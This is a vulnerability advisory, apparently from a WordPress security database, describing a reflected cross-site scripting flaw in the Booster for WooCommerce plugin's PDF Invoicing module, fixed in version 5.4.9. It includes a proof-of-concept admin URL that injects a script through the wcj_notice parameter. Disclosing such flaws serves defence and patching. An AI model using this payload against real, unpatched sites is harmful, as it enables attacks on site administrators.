WordPress Plugin Vulnerabilities
Booster for Woocommerce < 5.4.9 - Reflected Cross-Site Scripting in PDF Invoicing Module
Description
The plugin does not sanitise and escape the wcj_notice parameter before outputting it back in the admin dashboard when the Pdf Invoicing module is enabled, leading to a Reflected Cross-Site Scripting
Proof of Concept
With the PDF Invoicing module active: https://example.com/wp-admin/edit.php?post_type=shop_order&paged=1&generated=1&generated_type=invoice&generated_invoice=1&post_status=all&wcj_notice=<script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 5.4.9
References
Classification
Miscellaneous
Original Researcher
Jeremie Amsellem
Submitter
Jeremie Amsellem
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-12-01 (about 5 months ago)
Added
2021-12-01 (about 5 months ago)
Last Updated
2022-04-09 (about 1 months ago)